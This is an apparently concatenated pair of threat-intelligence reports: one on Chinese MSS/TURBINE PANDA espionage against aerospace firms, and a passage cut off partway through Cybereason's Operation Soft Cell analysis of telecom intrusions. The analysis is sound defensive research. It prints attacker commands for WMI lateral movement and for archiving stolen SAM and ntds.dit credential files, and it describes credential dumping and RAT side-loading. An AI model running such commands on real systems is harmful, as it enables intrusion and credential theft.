https://www.rand.org/content/dam/rand/pubs/research_reports/RR200/RR245/RAND_RR245.pdf 2 https://www.weforum.org/agenda/2018/08/these-five-charts-show-how-rapidly-china-s-aviation-industry-is-expanding/ 3 https://www.uschamber.com/sites/default/files/final_made_in_china_2025_report_full.pdf 4 https://www.theguardian.com/world/2017/may/05/chinas-first-home-made-plane-makes-maiden-flight Copyright 2019 V1. 12/05VV1 it is reliant on a plethora of foreign-manufactured components (see Figure 3).5 Likely in an effort to bridge those gaps, a Chinese state-aligned adversary CrowdStrike calls TURBINE PANDA conducted cyber intrusions from a period of roughly 2010 to 2015 against several of the companies that make the C919 various components. Figure 3. Components of C919 Source: https://www.aerotime.aero/aerotime.team/447-made-in-china-why-c919-can-hardly-be-calledchinese Specifically, in December 2009, the state-owned enterprise (SOE) Commercial Aircraft Corporation of China (COMAC/ ) announced it had chosen CFM International s (a joint venture between U.S.-based GE Aviation and French aerospace firm Safran, formerly Snecma) LEAP-X engine to provide a custom variant engine, the LEAP-1C, for the then-newly announced C919. The deal was reportedly signed in Beijing during a visit by then-French Prime Minister Fran ois Fillon.6 Despite the early deal with CFM, both COMAC and fellow SOE the Aviation Industry Corporation of China (AVIC/ ) were believed7 to be tasked by China s State-owned Assets Supervision and Administration Commission of the State Council (SASAC) with building an indigenously created turbofan engine that was comparable to the LEAP-X.8 In August 2016, both COMAC and AVIC became the main shareholders of the Aero Engine Corporation of China (AECC/ ), which produced the CJ-1000AX engine. The CJ-1000AX bears 5 https://www.aerotime.aero/aerotime.team/447-made-in-china-why-c919-can-hardly-be-called-chinese 6 https://www.flightglobal.com/news/articles/cfm-international-to-provide-engines-for-comacs-c919-336414/ 7 http://www.xinhuanet.com/english/2017-05/04/c_136257538.htm 8 http://www.miit.gov.cn/n1146290/n1146397/c4244228/content.html Copyright 2019 V1. 12/05VV1 multiple similarities to the LEAP-1C,9 including its dimensions10 and turbofan blades. The AECC conducted its first test as recently as May 2018, having overcome significant difficulties in their first mockups. Though it is difficult to assess that the CJ-1000AX is a direct copy of the LEAP-X without direct access to technical engineering specifications, it is highly likely that its makers benefited significantly from the cyber espionage efforts of the MSS, detailed further in subsequent blog installments, knocking several years (and potentially billions of dollars) off of its development time. The actual process by which the CCP and its SOEs provide China s intelligence services with key technology gaps for collection is relatively opaque, but what is known from CrowdStrike Intelligence reporting and corroborating U.S. government reporting11 is that Beijing uses a multi-faceted system of forced technology transfer, joint ventures, physical theft of intellectual property from insiders, and cyber-enabled espionage to acquire the information it needs. Specifically, SOEs are believed to help identify major intelligence gaps in key projects of significance that China s intelligence services then are likely tasked with collecting. It is assessed with high confidence that the MSS was ultimately tasked with targeting firms that had technologies pertaining to the LEAP-X engine and other components of the C919, based on timing and the details revealed in the DoJ indictments. For example, the first preparatory activity in January 2010 believed to be associated with TURBINE PANDA targeted Los Angeles-based Capstone Turbine and began just a month after choosing CFM as its engine provider. This brings us to our culprits: the Jiangsu Bureau of the MSS (JSSD/ ) located in Nanjing. In Part II, we will discuss the JSSD s location, and its joint operations between the JSSD s cyber operators and its human intelligence officers. PART II: THE CULPRITS From August 2017 until October 2018, the DoJ released several separate, but related indictments against Sakula developer YU Pingan12, JSSD Intelligence Officer XU Yanjun13, GE Employee and insider ZHENG Xiaoqing14, U.S. Army Reservist and assessor JI Chaoqun15, and 10 JSSD-affiliated cyber operators in the ZHANG et. al. indictment16. What makes these DoJ cases so fascinating is that, when looked at as a whole, they illustrate the broad, but coordinated efforts the JSSD took to collect information from its aerospace targets. In particular, the operations connected to activity CrowdStrike Intelligence tracked as TURBINE PANDA showed both traditional human-intelligence (HUMINT) operators and its cyber operators working in parallel to pilfer the secrets of several international aerospace firms. 9 https://www.flightglobal.com/news/articles/china-completes-assembly-of-first-high-bypass-turbof-444526/ 10 https://www.flightglobal.com/news/articles/c919s-local-engine-alternative-powered-up-448721/ 11 https://www.whitehouse.gov/wp-content/uploads/2018/06/FINAL-China-Technology-Report-6.18.18-PDF.pdf 12 https://regmedia.co.uk/2017/08/24/yu.pdf 13 https://www.justice.gov/opa/press-release/file/1099881/download 14 https://www.justice.gov/opa/pr/new-york-man-charged-theft-trade-secrets 15 https://www.justice.gov/opa/press-release/file/1096411/download 16 https://www.justice.gov/opa/press-release/file/1106491/download Copyright 2019 V1. 12/05VV1 Figure 4. JSSD s Cyber Operations Copyright 2019 V1. 12/05VV1 As discussed in the previous section, it is believed that cyber targeting of aerospace firms by TURBINE PANDA cyber operators began in January 2010, almost immediately after the LEAP-X engine was chosen for the C919. The ZHANG indictment describes initial preparatory action that included compromising Los Angeles-based Capstone Turbine servers and later using a doppelganger site as a strategic web compromise (SWC) in combination with DNS hijacking (including a specific technique the indictment points out may have been borrowed from the Syrian Electronic Army/DEADEYE JACKAL17) to compromise other aerospace firms. From a period of 2010 to 2015, the linked JSSD operators are believed to have targeted a variety of aerospace-related targets including Honeywell, Safran, and several other firms18, 19 using two China-based APT favorites, PlugX and Winnti, and malware assessed to be unique to the group dubbed Sakula. The same ZHANG indictment indicates that these operations were overseen by CHAI Meng ( ), who likely managed the JSSD s cyber operators as a pseudo Cyber Section Chief. Reporting to CHAI was the cyber operator team lead, LIU Chunliang ( /sxpdlc1r/Fangshou), who appeared to establish and maintain much of the infrastructure used in the attacks on various aerospace targets as well as organize the intrusions conducted by the operators ZHANG Zhanggui ( /Ieanovr/Ieaonr), GAO Hongkun ( /Mer4en7y), ZHUANG Xiaowei ( /jpxxav), MA Zhiqi ( /Le Ma), and LI Xiao ( /zhuan86). Many of these individuals are assessed to have storied histories in legacy underground hacking circles within China dating back to at least 2004. Notably, LIU also appeared to broker the use of Sakula from its developer YU, as well as the malware IsSpace (associated with SAMURAI PANDA) from its likely developer ZHUANG.20 LIU and YU conversations about Sakula would be a critical factor in tying all of this disparate activity together as Sakula was believed to be unique to the JSSD operators and could be used to tie several aerospace intrusion operations into a single, long-running campaign. JSSD s HUMINT Efforts Simultaneously, there was a HUMINT element to the JSSD s espionage operations against aerospace targets. XU Yanjun, was identified in his indictment21 as the Deputy Division Director of the Sixth Bureau of the JSSD in charge of Insider Threats. XU affiliated himself with two cover organizations Jiangsu Science and Technology Association (JAST) and the Nanjing Science & Technology Association (NAST) when interacting with potential targets. XU also was reported as frequently associating with the Nanjing University of Aeronautics and Astronomics (NUAA), a significant national defense university controlled by China s Ministry of Industry and Information Technology (MIIT), that interfaces directly with many of China s top defense firms and state-owned enterprises. It is likely no coincidence that NUAA is a regular collaborator with state-owned enterprises (SOEs) COMAC and AVIC, the main shareholders of AECC, which went on to produce the LEAP-X inspired CJ1000-AX turbine engine for the C919. 17 https://www.forbes.com/sites/andygreenberg/2013/08/28/syrian-hack-of-nytimes-com-and-twitter-could-have-inflicted- much-more-than-mere-embarrassment/#3b3746944944 18 https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vinecyberespionage-group.pdf 19 https://cyberthreatintelligenceblog.wordpress.com/2018/11/16/c0ld-case-from-aerospace-to-chinas-interests/ 20 https://regmedia.co.uk/2017/08/24/yu.pdf 21 https://www.justice.gov/opa/press-release/file/1099881/download Copyright 2019 V1. 12/05VV1 Figure 5. MSS Intelligence Officer and Deputy Division Director XU Yanjun Over the course of several years, XU would recruit both an insider at LEAP-X manufacturer General Electric (GE), ZHENG Xiaoqing, and a Chinese-born Army reservist, JI Chaoqun ( ). ZHENG background appears to have made him uniquely qualified to accurately assess turbine engine schematics, and it was clear from his indictment that he had received coaching on which sensitive information on GE s turbine technology to access and how to use steganography in an attempt to exfiltrate the information. JI, who entered the U.S. on an F-1 student visa to study electrical engineering in Chicago, was approached by XU (initially undercover as an NUAA professor) in December 2013 and eventually recruited to provide assessments on other high-value individuals in the aerospace industry for potential recruitment by the MSS. JI s position in the U.S. Army Reserve program known as Military Accessions Vital to the National Interest (MAVNI) provided a perfect cover for JI s assessment activities, as the program focuses on potential recruitment of foreign citizens with skills pertinent to national interest and legally residing in the U.S. Had it been successful, JI would have been handing XU other foreign-born recruitment candidates as they were about to enter U.S. military service on potentially sensitive projects. HUMINT-Enabled Cyber Operations and the Role of CrowdStrike Own Blog In February 2014, one of our own blogs described the relationship between cyber activity in 2012 against Capstone Turbine and an SWC targeting Safran/Snecma carried out by TURBINE PANDA, potentially exposing the HUMINT-enabled cyber operations described in some of the indictments. As described in the ZHANG indictment, on 26 February 2014, one day after the release of our French Connection blog publicly exposed some of TURBINE PANDA s operations, intel officer XU texted his JSSD counterpart, cyber director CHAI, asking if the domain ns24.dnsdojo.com was related to their cyber operations. That domain was one of the few controlled by cyber operator lead LIU, and several hours after CHAI responded to XU s text that he would verify, the domain name was deleted. According to the ZHANG indictment, The deletion was believed to be carried out by GU Gen ( Safran s Suzhou Branch IT manager, when Safran began investigating beaconing from that domain following the blog post and notification from the Federal Bureau of Investigation (FBI). GU had been Copyright 2019 V1. 12/05VV1 previously recruited around January 2014 by XU, and was able to act as a fixer for LIU and his team operations. The indictment also showed that XU had also previously recruited another Safran Suzhou insider named TIAN Xi ( ) in November 2013, giving him a USB drive with Sakula on it. On 25 January 2014, TIAN communicated to XU that he had installed Sakula on Safran s networks, and XU in turn texted confirmation to CHAI, who s team subsequently began their operations on Safran s networks over the next month. Where is the JSSD? Though not much is publicly known about the internal organizational structure of China s secretive national intelligence service, the MSS is known to operate a number of large municipal bureaus, normally located in the provincial capitals. Through a mixture of open-source research and confirmation from sensitive source reporting, CrowdStrike Intelligence confirmed two locations that the JSSD likely operates out of: 1. Approximately 32 3'34.25"N, 118 45'41.83"E in the Gulou District of Nanjing - . Co-located in the headquarters of the Jiangsu Ministry of Public Security (MPS/ Figure 6. Street View of a JSSD Location Left, the characters for the JSSD ( ). Right, the characters for the Jiangsu MPS. The same street view on Baidu Maps22 currently has both the JSSD characters and the red emblem (poorly) blurred out. https://maps.baidu[.]cn/#panoid=09002500121709081338424411I&panotype=street&heading=182.45&pitch=13.76&l=21&tn= B_NORMAL_MAP&sc=0&newmap=1&shareurl=1&pid=09002500121709081338424411I Copyright 2019 V1. 12/05VV1 Tellingly, the listed address of the JSSD s kindergarten is 50 Ninghai road, Gulou District ( 50 ), a building very near to the Jiangsu MPS headquarters.23 Furthermore, MSS facilities are believed to often be co-located in MPS buildings both to provide plausible cover and due to their overlapping work on domestic security. 2. Approximately 31 58'45.65"N, 118 46'32.93"E in the Yuhua District of Nanjing - 33 Figure 7. Architectural Mockup of JSSD Compound A particular Nanjing architectural firm appears fairly proud of the job it did on this JSSD compound (see above), and prominently features pictures of architectural mockups of the building s outside, atrium, and even its gym as splash pages on its main site.24 Again, the JSSD hanzi ( ) are directly on the site along with indications that it was built in 2009. A comparison with the street view25 (see Figure 8) and corroboration with sensitive source reporting gives us fairly high confidence that this building and location is affiliated with the JSSD. A satellite view shows an array of satellite dishes out front as well. https://jiangsu.youbianku.com/%E5%90%8D%E5%BD%95/%E6%B1%9F%E8%8B%8F%E7%9C%81%E5%9B%BD%E5%AE%B6%E5 %AE%89%E5%85%A8%E5%8E%85%E5%B9%BC%E5%84%BF%E5%9B%AD 24 https://web.archive.org/save/http:/dadda.cn/show-19-79-1.html https://maps.baidu[.]cn/#panoid=09002500121709131120474746L&panotype=street&heading=353.22&pitch=3.8&l=21&tn=B _NORMAL_MAP&sc=0&newmap=1&shareurl=1&pid=09002500121709131120474746 Copyright 2019 V1. 12/05VV1 Figure 8. Front Entrance of a JSSP Building in Yuhua Resembling Architectural Mockup In the next section, we ll discuss the aftermath of these operations, their connection to other Chinese cyber campaigns, and how they fit into China s larger strategy of leapfrog development. PART III: THE AFTERMATH The arrests of MSS officer XU Yanjun, his insiders (ZHENG Xiaoqing and JI Chaoqun), and Sakula developer YU Pingan will ultimately not deter Beijing from mounting other significant cyber campaigns designed to achieve leapfrog development in areas they perceive to be of strategic importance. Though s arrest in particular was likely a massive boon to U.S. intelligence given he was the first MSS officer (not simply an asset) known to be arrested, China has not ceased cyber operations even after incidents tying GOTHIC PANDA26 and STONE PANDA27 to the MSS were exposed publicly. The reality is that many of the other cyber operators that made up TURBINE PANDA operations will likely never see a jail cell. YU was arrested in 2017 following his attendance at a U.S.-based security conference, and CrowdStrike Intelligence sensitive source reporting indicated that following his arrest, the MSS issued strict orders for China s security researchers to be barred from participating in overseas conferences or Capture the Flag competitions, likely fearing a repeat occurrence and more arrests of its offensive talents. In years prior to that directive, Chinese teams such as those from Qihoo 360, Tencent, and Baidu dominated overseas competitions and bug bounties including Pwn2Own and CanSecWest, earning thousands of dollars in cash rewards for their zero-day exploits for popular systems such as Android, iOS, Tesla, Microsoft, and Adobe. Instead, the companies these researchers work for were required to provide vulnerability information to the China Information Technical Security Evaluation Center 26 https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/ 27 https://www.crowdstrike.com/blog/two-birds-one-stone-panda/ Copyright 2019 V1. 12/05VV1 (CNITSEC/ ). CNITSEC was previously identified by CrowdStrike Intelligence and other industry reporting28 as being affiliated with the MSS Technical Bureau and it runs the Chinese National Information Security Vulnerability Database (CNNVD/ ), which was outed for its role in providing the MSS with cutting-edge vulnerabilities likely for use in offensive operations.29 However, even before this directive, it is likely that many of the vulnerabilities used in offensive MSS operations came from these researchers. Many of the senior security researchers and executives at Chinese security firms got their start in legacy domestic hacking groups such as Xfocus and went on to turn their talents into successful careers some whitehat, some blackhat, and the large majority probably falling somewhere in the grey area. The majority of these firms are listed partners of the CNNVD (see the image below). NSFOCUS, for example, was formed out of the remnants of the commercialized faction of China s patriotic hacking group the Green Army; its hanzi characters are actually still the same as the original group s name. Venustech and Topsec were both listed as known Chinese state-affiliated contractors in leaked U.S. government cable. Topsec was also linked to campaigns against the aerospace sector and Anthem breaches in public reporting.30 Figure 9. Prominent Chinese Tech Firms Partnering with the MSS-Affiliated CNNVD What is notable about the use of certain vulnerabilities and strains of malware sourced from the Chinese underground is that they often uniquely indicate which actors are responsible for which campaigns. In this case, Sakula is described in the YU indictment as being relatively unique and was provided to JSSD 28 https://www.recordedfuture.com/chinese-mss-behind-apt3/ 29 https://www.recordedfuture.com/chinese-mss-vulnerability-influence/ 30 https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine- cyberespionage-group.pdf Copyright 2019 V1. 12/05VV1 lead operator LIU Chunliang by YU along with multiple other vulnerabilities that were used against aerospace firms by LIU and other cyber operators that comprised TURBINE PANDA operations. The usage of Sakula across multiple victims and the arrest of its developer, YU, by the FBI would prove critical for several reasons. Industry reporting31 outlined the overlapping similarities between activity at one of TURBINE PANDA victims that exhibited certain tactics, techniques, and procedures (TTPs) and the usage of Sakula in the Anthem breach publicly disclosed in 2015. As indicated by an FBI Flash Report32 detailing the tools used in the U.S. Office of Personnel Management (OPM) intrusion, Sakula was named along with FFRAT and the IsSpace malware (tracked by CrowdStrike Intelligence as being used by SAMURAI PANDA and also connected to JSSD operators in the ZHANG indictment via cyber operator ZHUANG Xiaowei) in the OPM case, likely indicating the JSSD was also behind these operations. Public reporting has long theorized that the same operators were behind the Anthem and OPM incidents, and that both operations were likely perpetrated by actors affiliated with the MSS. Further reporting tied a breach at United Airlines to the same group that perpetrated Anthem and OPM, reaffirming that those actors had interests in aviation as well.33 It is likely that the DoJ indictments provided yet another piece to this complicated puzzle that saw the pilfering of the data of millions of cleared U.S. government workers funneled to China, a veritable intelligence gold-mine for recruiting potential future spies. The Bigger Picture Even with the arrest of a senior MSS intelligence officer and a valuable malware developer, the potential benefits of cyber-enabled espionage to China s key strategic goals has seemingly outweighed the consequences to date. Beijing still has a long way to go before it has a completely independent domestic commercial aviation industry, as evidenced by the $45 billion USD deal to purchase 300 Airbus planes during President XI Jinping s recent visit to France.34 XI inked a similar purchase agreement for 300 Boeing planes during a November 2017 visit to the U.S. Yet China still seeks to decrease its dependency on this duopoly and eventually compete on an even footing with them. Notably, China was the first country to ground Boeing s 737 MAX and tout its own air safety records, following a second deadly 737 MAX crash this year.35 In May 2017, weeks after the C919 s successful maiden flight in China, AECC and Russia s United Aircraft Corp (UAC) announced a 50-50 joint venture (JV) called China-Russia Commercial Aircraft International Corp (CRAIC) to fund and design a new aircraft dubbed CR929 (see Figure 10), a wide-body jet designed to compete with the Airbus 350 and Boeing 787.36 Though both countries will design much of the 31 Ibid. 32 https://info.publicintelligence.net/FBI-HackToolsOPM.pdf 33 https://www.bloomberg.com/news/articles/2015-07-29/china-tied-hackers-that-hit-u-s-said-to-breach-united-airlines 34 https://www.scmp.com/news/china/diplomacy/article/3003384/china-france-sign-us45-billion-deals-including-airbus- order?utm_medium=email&utm_source=mailchimp&utm_campaign=enlzscmp_china&utm_content=20190327&MCUID=f85aea33ab&MCCampaignID=ea970c4480&MCAccountID=3775521f5f5420472 46d9c827&tc=5 35 https://www.nytimes.com/2019/03/13/business/china-boeing.html 36 https://www.reuters.com/article/us-china-comac-russia-idUSKBN18I0KZ Copyright 2019 V1. 12/05VV1 aircraft, the CR929 s engines, onboard electrical systems, and other components will still likely need to be supplied by foreign suppliers.37 Figure 10. CR929 Airliner Source: Reuters Similar to the procedure for developing the C919, the JV is currently taking bids for an aircraft engine that will be used until a Chinese-Russian substitute can take its place; this appears likely to be the CJ2000, an upgraded version of the CJ-1000AX used in the C919. Finalists in the bidding process may face additional targeting from China-based adversaries that have demonstrated the capability and intent to engage in such intellectual property theft for economic gain. It is unclear whether Russia, a state that also has experienced cyber operators at its disposal, would also engage in cyber-enabled theft of intellectual property related to the CR929. The C919 still faces significant barriers to entry namely, international certification and the current Sino-U.S. trade war. COMAC aims to have the C919 pass grueling certification standards by the end of 2020. Notably, public reporting in February 2019 detailed a potential cover-up involving a November 2016 cyber intrusion at the Canada-based International Civil Aviation Organization (ICAO), the United Nations (UN) body that sets global civil aviation standards.38 The documents indicate that the intrusion at ICAO was likely designed to facilitate a strategic web compromise (SWC) attack (similar to what TURBINE 37 https://chinapower.csis.org/china-commercial-aviation/ 38 https://www.cbc.ca/news/canada/montreal/montreal-based-un-aviation-agency-tried-to-cover-up-2016-cyberattack- documents-show-1.5033733 Copyright 2019 V1. 12/05VV1 PANDA did with Capstone Turbine and described in Part II of this series) that would easily provide a springboard to target a plethora of other aerospace-related as well as foreign government victims. Upon being alerted to the breach by the Aviation Information Sharing and Analysis Center (AISAC), the ICAO internal IT investigation staff was reportedly grossly negligent, and the cyber intruders may have had direct access to one of their superuser accounts. In addition, a file containing a list of all the potential organizations who were compromised by the incident mysteriously disappeared during further investigations. Figure 11. ICAO s Secretary General Gang LIU and IT Deputy Director James WAN Suspected of Having Mishandled Investigation of Breach Source: Canadian Broadcasting Corporation (CBC) Outside, third-party investigations point to China-based EMISSARY PANDA as the culprit. CrowdStrike Intelligence is unable to independently confirm this; however, EMISSARY PANDA has been previously observed targeting the aviation industry as well. Both the ICAO IT supervisor in charge of the mishandled internal investigation, James WAN, and Fang LIU, the ICAO s secretary general who shelved recommendations to investigate WAN and his four team members, were both found by CrowdStrike to have ties to China s aviation industry. LIU previously was a major figure at the Civil Aviation Administration of China (CAAC), one of several prominent Chinese state-owned enterprises (SOEs) tasked with advancing China s aviation industry.39 WAN was previously connected to the Civil Aviation University of China (CUAC), another prominent institution in China s aviation industry research that is administered by CAAC. Though CrowdStrike Intelligence cannot make any high confidence determinations about the breach, the timing in 2016, the techniques (such as attempting an upstream SWC to target other industry victims), and the nature of the intrusion into ICAO is an eerily similar situation to GU Gen, the MSS-recruited IT manager at Safran s Suzhou branch who sought to cover up 39 https://www.icao.int/DownloadDocs/liu_biography_en.pdf Copyright 2019 V1. 12/05VV1 TURBINE PANDA operations (see the previous blog post). LIU, WAN, and the four employees are all still employed at ICAO. A major facet of the current Sino-U.S. trade war is forced technology transfer, which Beijing has used to great effect by siphoning intellectual property from foreign firms in exchange for providing joint ventures (JVs) and granting access to China s lucrative market, only to be forced out later by domestic rivals as they grow competitive with state subsidies and support. Under current laws, the C919 s foreign suppliers (many of whom were targets of TURBINE PANDA operations) are required to physically assemble components in China through a JV with COMAC.40 It remains to be seen whether the high-level Sino-U.S. trade negotiations will result in limiting Beijing ability to speed its aviation development through JVs, forced technology transfer, HUMINT operations, or cyber-enabled theft of IP. But the unprecedented visibility into how the MSS and its cyber operators enhance China s leapfrog development coming at this time is more than just a coincidence. 40 https://apex.aero/2019/01/23/comac-aims-high Copyright 2019 Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers https://youtu.be/Ihpn2-4jTvc Research by: Mor Levi, Assaf Dahan, and Amit Serper EXECUTIVE SUMMARY In 2018, the Cybereason Nocturnus team identified an advanced, persistent attack targeting global telecommunications providers carried out by a threat actor using tools and techniques commonly associated with Chinese-affiliated threat actors, such as APT10. This multi-wave attacks focused on obtaining data of specific, high-value targets and resulted in a complete takeover of the network. 1/27 Key Points Earlier this year, Cybereason identified an advanced, persistent attack targeting telecommunications providers that has been underway for years, soon after deploying into the environment. Cybereason spotted the attack and later supported the telecommunications provider through four more waves of the advanced persistent attack over the course of 6 months. Based on the data available to us, Operation Soft Cell has been active since at least 2012, though some evidence suggests even earlier activity by the threat actor against telecommunications providers. The attack was aiming to obtain CDR records of a large telecommunications provider. The threat actor was attempting to steal all data stored in the active directory, compromising every single username and password in the organization, along with other personally identifiable information, billing data, call detail records, credentials, email servers, geo-location of users, and more. The tools and TTPs used are commonly associated with Chinese threat actors During the persistent attack, the attackers worked in waves- abandoning one thread 2/27 of attack when it was detected and stopped, only to return months later with new tools and techniques. Security Recommendations Add an additional security layer for web servers. For example, use WAF (Web Application FW) to prevent trivial attacks on Internet-facing web servers. Expose as few systems or ports to the Internet as possible. Make sure that all web servers and web services that are exposed are patched. Use an EDR tool to give visibility and immediate response capabilities when high severity incidents are detected. Proactively hunt in your environment for sensitive assets periodically. Table of Contents INTRODUCTION Watch our CEO Lior Div's keynote on the operation. In 2018, 30% of the telecommunications providers reported sensitive customer information was stolen due to an attack. These telecommunications providers have been expanding in size, to the point where In the past thirteen years, mobile cellular phone subscribers have quadrupled in size and sit at 8 billion subscribers today . Due to their wide availability and the fundamental service they bring, telecommunications providers have become critical infrastructure for the majority of world powers. Much like telecommunication providers, many other critical infrastructure organizations provide a valuable targets for nation state threat actors, due to their high impact. In studies, nearly a quarter of critical infrastructure organizations reported they had been hit by nation state attacks and 60% said disruptive cyber attacks are among the threats they are most worried about. Threat actors, especially those at the level of nation state, are seeking opportunities to attack these organizations, conducting elaborate, advanced operations to gain leverage, seize strategic assets, and collect information . When successful, these attacks often have huge implications. Last year, we identified a threat actor that has been operating in telecommunications provider environments for at least two years. We performed a post-incident review of the attacks and were able to identify changes in the attack patterns along with new activity every quarter. 3/27 The threat actor mainly sought to obtain CDR data (call logs, cell tower locations, etc.) belonging to specific individuals from various countries. This type of targeted cyber espionage is usually the work of nation state threat actors. ve concluded with a high level of certainty that the threat actor is affiliated with China and is likely state sponsored. The tools and techniques used throughout these attacks are consistent with several Chinese threat actors, such as APT10, a threat actor believed to operate on behalf of the Chinese Ministry of State Security (MSS). The threat actor changed activity every quarter. The attack began with a web shell running on a vulnerable, publicly-facing server, from which the attackers gathered information about the network and propagated across the network. The threat actor attempted to compromise critical assets, such as database servers, billing servers, and the active directory. As malicious activity was detected and remediated against, the threat actor stopped the attack. The second wave of the attack hit several months later with similar infiltration attempts, along with a modified version of the web shell and reconnaissance activities. A game of cat and mouse between the threat actor and the defenders began, as they ceased and resumed their attack 2 more times in the span of a 4 month period. Anatomy of the Attack 4/27 Initial Compromise: the Modified China Chopper Web Shell The initial indicator of the attack was a malicious web shell that was detected on an IIS server, coming out of the w3wp.exe process. An investigation of the web shell, later classified as a modified version of the China Chopper web shell, uncovered several attack phases and TTPs. The threat actor was able to leverage the web shell to run reconnaissance commands, steal credentials, and deploy other tools. Malicious web shell activity as observed in the Cybereason solution. Commands executed via a modified version of the China Chopper web shell. China Chopper is a web shell first discovered in 2012 that is commonly used by malicious Chinese actors. It is used to remotely control web servers, and has been used in many attacks against Australian web hosting providers. The web shell parameters in this attack match to the China Chopper parameters, as described in FireEye s analysis of China Chopper. This tool has been used by several Chinese-affiliated threat actors, such as APT 27 and APT 40. It is important to note that this tool is widely available and can be used by other threat actors. 5/27 Reconnaissance and Credential Stealing The threat actor launched a series of reconnaissance commands to try to obtain and enumerate information about the compromised machine, network architecture, users, and active directory enumeration. Example 1: Reconnaissance Commands Example 2: Reconnaissance Commands Modified nbtscan One of the reconnaissance commands was to run a modified nbtscan tool ("NetBIOS nameserver scanner") to identify available NetBIOS name servers locally or over the network. Nbtscan has been used by APT10 in Operation Cloud Hopper to search for services of interest across the IT estate and footprint endpoints of interest. It is also capable of identifying system information. 6/27 NetBIOS Scanner execution as seen in the Cybereason solution. NetBIOS scanner is set to scan an internal IP range. Modified Mimikatz Following the reconnaissance phase, the threat actor attempted to dump credentials stored on the compromised machines. The most common credential stealing tool used by the threat actor was a modified mimikatz that dumps NTLM hashes. This version of mimikatz did not require any command line arguments, most likely in an attempt to avoid detection based on command-line auditing. The dumped hashes were used to authenticate to other machines via pass the hash. We renamed this sample to maybemimi.exe. 7/27 Modified Mimikatz that dumps NTLM hashes. Reverse engineering shows the similarity between maybemimi.exe and mimikatz. Mimikatz code from GitHub. maybemimi strings. Dumping the SAM Hive from the Registry 8/27 In order to obtain credentials, the threat actor used another technique that can be seen in the below screenshots. They dumped specific hives from the Windows Registry, such as the SAM hive, which contains password hashes. Reg.exe is being spawned from a shell process. Command-line arguments indicate SAM hive dumping. Lateral Movement Once the threat actor mapped the network and obtained credentials (through net use), they began to move laterally. They were able to compromise critical assets including production servers and database servers, and they even managed to gain full control of the Domain Controller. The threat actor relied on WMI and PsExec to move laterally and install their tools across multiple assets. The following example demonstrates how the threat actor moved laterally from the first machine, compromised by the modified version of the China Chopper web shell, to other machines inside the network. 9/27 /c cd /d "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\"&wmic /node:[REDACTED] /user:"[REDACTED]" /password:"[REDACTED]" process call create a.bat&echo [S]&cd&echo [E] WMI command used by the threat actor to move laterally. Maintaining a Long-term Foothold and Stealing Data The threat actor abused the stolen credentials to create rogue, high-privileged domain user accounts which they then used to take malicious action. By creating these accounts, they ensured they would maintain access between different waves of the attack. Once the threat actor regains their foothold, they already have access to a high-privileged domain user account. This significantly reduces the noise of having to use credential dumpers repeatedly, which helped them evade detection. PoisonIvy A second method the threat actor used to maintain access across the compromised assets was through the deployment of the PoisonIvy RAT (PIVY). This infamous RAT has been associated with many different Chinese threat actors, including APT10, APT1, and DragonOK. It is a powerful, multi-featured RAT that lets a threat actor take total control over a machine. Among its most notable features are: Registry Editor Screenshot Grabber Credential Stealer Interactive Shell File Manager with Upload and Download Support Process Monitor Keylogging and Various other Surveillance Features 10/27 The control panel for PoisonIvy. Courtesy of Sam Bowne - samsclass.info We assume the threat actor used PoisonIvy for keylogging and other surveillance features, as they had that functionality available to them as shown in the screenshot above. The strain of PIVY in this attack used a DLL side-loading technique to stealthily load itself into memory. To accomplish this, it exploited a trusted and signed application. The PIVY payload was dropped along with the trusted and signed Samsung tool (RunHelp.exe) in the following manner: 1. A nullsoft installer package (NSIS) was created with a legitimate, signed Samsung tool in it. 2. Once executed, the installer script within the NSIS package extracted the Samsung tool and added a fake DLL with the same name as a legitimate DLL (ssMUIDLL.dll), which is required by the application. 3. The DLL contains a PIVY stager, which is then loaded by the Samsung tool. 4. After the fake DLL was loaded by the Samsung tool, it decrypted a blob payload in the same folder, which contains the actual PIVY payload. 5. It was able to achieve persistence by creating a rogue scheduled task. 11/27 Post-persistence execution of PIVY, side-loaded into a legitimate Samsung application. PIVY s use of DLL side-loading to abuse Samsung tools is not new, and has been reported previously by Palo Alto. In 2016 it was used to attack pro-democratic activists in Hong Kong, most probably by Chinese threat actors. Note: Our team has reached out to and advised the targeted organizations on active containment actions. Secondary Web Shells In later stages of the attack, the threat actor deployed two other custom-built web shells. From these web shells, they launched reconnaissance commands, stole data, and dropped additional tools including portqry.exe, renamed cmd.exe, winrar, and the notorious hTran. Reconnaissance and lateral movement commands launched from the secondary web shell. Data Exfiltration The threat actor exfiltrated stolen data using multiple different channels including web shells and hTran. Compressing the Stolen Data 12/27 In an attempt to hide the contents of the stolen data, the threat actor used winrar to compress and password-protect it. The winrar binaries and compressed data were found mostly in the Recycle Bin folder, a TTP that was previously observed in APT10-related attacks, as well as others. This threat actor is known to stage the data in multi-part archives before exfiltration. The threat actor used the following commands to compress the data. rar.exe a -k -r -s -m1 -[password] [REDACTED].rar [REDACTED].temp rar.exe a -k -r -s -m1 -[password] [REDACTED].rar [REDACTED].csv rar a -r -[password] [REDACTED].rar sam system ntds.dit Compressed stolen data exfiltrated via web shell. The contents of the compressed data was crucial in understanding the threat actor motivation for the attack, as well as what type of information they were after. hTran In order to exfiltrate data from a network segment not connected to the Internet, the threat actor deployed a modified version of hTran. This connection bouncer tool lets the threat actor redirect ports and connections between different networks and obfuscate C2 server traffic. There have been numerous reports of hTran being used by different Chinese threat actors, including: APT3, APT27 and DragonOK. The threat actor made some modifications to the original source code of hTran. Many strings, including the debug messages, were intentionally changed and obfuscated in an attempt to evade detection and thwart efforts to identify the malware by antivirus and researchers. 13/27 Obfuscated debug messages. Since the original source code for hTran is publicly available, we were able to compare the debug output to the original source code to show that it has indeed been modified. Identifying modifications in a disassembly of the modified hTran. 14/27 printf is being called (dubbed by us as looks_like_printf ) with output C e. . By looking at the original source code, we were able to identify that this is supposed to be Connect error A section of the source code for hTran. Understanding the Motive When you think of large breaches to big organizations, the first thing that comes to mind is usually payment data. An organization that provides services to a large customer base has a lot of credit card data, bank account information, and more personal data on its systems. These attacks are usually conducted by a cybercrime group looking to make money. In 